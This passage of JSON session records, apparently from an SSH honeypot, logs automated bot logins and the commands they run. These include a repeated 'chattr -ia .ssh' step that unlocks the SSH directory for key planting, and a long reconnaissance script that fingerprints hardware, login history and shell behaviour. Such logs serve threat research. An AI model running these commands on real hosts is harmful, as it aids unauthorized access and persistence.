  "started_at": "2026-08-27T05:10:25.585116+00:00",
  "ended_at": "2026-08-27T05:10:25.719154+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a29c6c7a-0f36-4218-847d-a12fca09a8c8",
  "name": "sandy-gallant-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 41764,
  "username": "toto",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:09:39.125729+00:00",
  "ended_at": "2026-08-27T05:09:40.368070+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "ff98decd-e26b-49d3-938d-191c0d58948f",
  "name": "deft-eager-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 41788,
  "username": "toto",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:09:24.394806+00:00",
  "ended_at": "2026-08-27T05:09:25.725888+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8eb0c295-39e4-4bfe-b6a1-9cdeb244a04d",
  "name": "fierce-fringed-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 41776,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:09:22.951255+00:00",
  "ended_at": "2026-08-27T05:09:23.783078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de02d280-13e7-4257-a04d-c2a66edfbc4a",
  "name": "misty-brave-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 55882,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:08:31.720880+00:00",
  "ended_at": "2026-08-27T05:08:31.863014+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f2b037a4-f809-48ec-ab8c-f4dae8862aae",
  "name": "primal-earnest-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:07:34.182813+00:00",
  "ended_at": "2026-08-27T05:07:35.239789+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "471282ba-4aa3-4800-819f-f352a4e47b9a",
  "name": "loyal-lonesome-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:07:18.879845+00:00",
  "ended_at": "2026-08-27T05:07:19.530003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a742849-3a2c-4d5c-b479-59c5f7d5df69",
  "name": "rustic-amiable-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:07:17.366530+00:00",
  "ended_at": "2026-08-27T05:07:18.260218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69e603b8-d754-40f0-9d4e-a2d6a2f4622f",
  "name": "courtly-flinty-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 52976,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:06:36.981823+00:00",
  "ended_at": "2026-08-27T05:06:37.104352+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "56fcbcf7-9c64-43b9-aa4f-26d3d1c45612",
  "name": "dusky-vigilant-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 46860,
  "username": "pm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:05:27.832813+00:00",
  "ended_at": "2026-08-27T05:05:29.140827+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "8aa4e2cb-8b37-4f77-b25c-7aee99f73fa7",
  "name": "faded-nimble-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46878,
  "username": "pm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:05:13.169881+00:00",
  "ended_at": "2026-08-27T05:05:14.084802+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fb62742-145e-4bcc-b743-ff2bdc52e66c",
  "name": "gleaming-salty-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46866,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:05:10.573402+00:00",
  "ended_at": "2026-08-27T05:05:12.531375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c2b1a2d-af27-40fc-a5a7-eaabe2b24b42",
  "name": "mottled-thorny-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 50078,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:04:46.558739+00:00",
  "ended_at": "2026-08-27T05:04:46.816681+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fccd804b-f524-4e2e-be05-c2bf8ad84e24",
  "name": "quartz-jagged-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 44758,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:04:19.452360+00:00",
  "ended_at": "2026-08-27T05:04:21.036040+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ca782e9-563d-430e-bd10-6a377ebd96de",
  "name": "tawny-tender-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 64774,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:04:17.711093+00:00",
  "ended_at": "2026-08-27T05:04:45.789763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fcd60b3-f3f2-4c58-acda-3c21977e0e4e",
  "name": "thorny-candid-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 43388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:04:17.454206+00:00",
  "ended_at": "2026-08-27T05:08:18.248515+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "392d340d-e1f6-45cd-b787-872653d24826",
  "name": "proud-wandering-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53497,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:03:31.737228+00:00",
  "ended_at": "2026-08-27T05:03:38.975593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a9d91d8-a940-43fa-b05b-6b8046438c1e",
  "name": "candid-woven-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 32822,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:03:08.035913+00:00",
  "ended_at": "2026-08-27T05:03:09.588707+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b021830f-905c-4f15-aaf0-3334ea63ea92",
  "name": "tawny-prairie-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 47140,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:02:56.506500+00:00",
  "ended_at": "2026-08-27T05:02:56.946844+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0592ed8a-2afe-4324-b7f7-49d40365a0cc",
  "name": "canny-bashful-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 63163,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:02:47.198696+00:00",
  "ended_at": "2026-08-27T05:03:12.779854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b65979d-eb18-4cb5-9cec-03cfe12605f9",
  "name": "gentle-autumn-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 49382,
  "username": "jesus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:01:37.792100+00:00",
  "ended_at": "2026-08-27T05:01:39.262764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "3394da02-40b8-4fd2-990c-914b9669a7ee",
  "name": "eager-gnarled-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 34174,
  "username": "jesus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:01:17.555759+00:00",
  "ended_at": "2026-08-27T05:01:19.228316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d8bda32-2174-4ac2-a9af-6b80a001fc45",
  "name": "subtle-knotted-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 49392,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:01:15.087015+00:00",
  "ended_at": "2026-08-27T05:01:16.928516+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70fa79ba-661e-4929-a96b-99ca5fbbf3ae",
  "name": "hazy-sterling-jerboa",
  "protocol": "ssh",
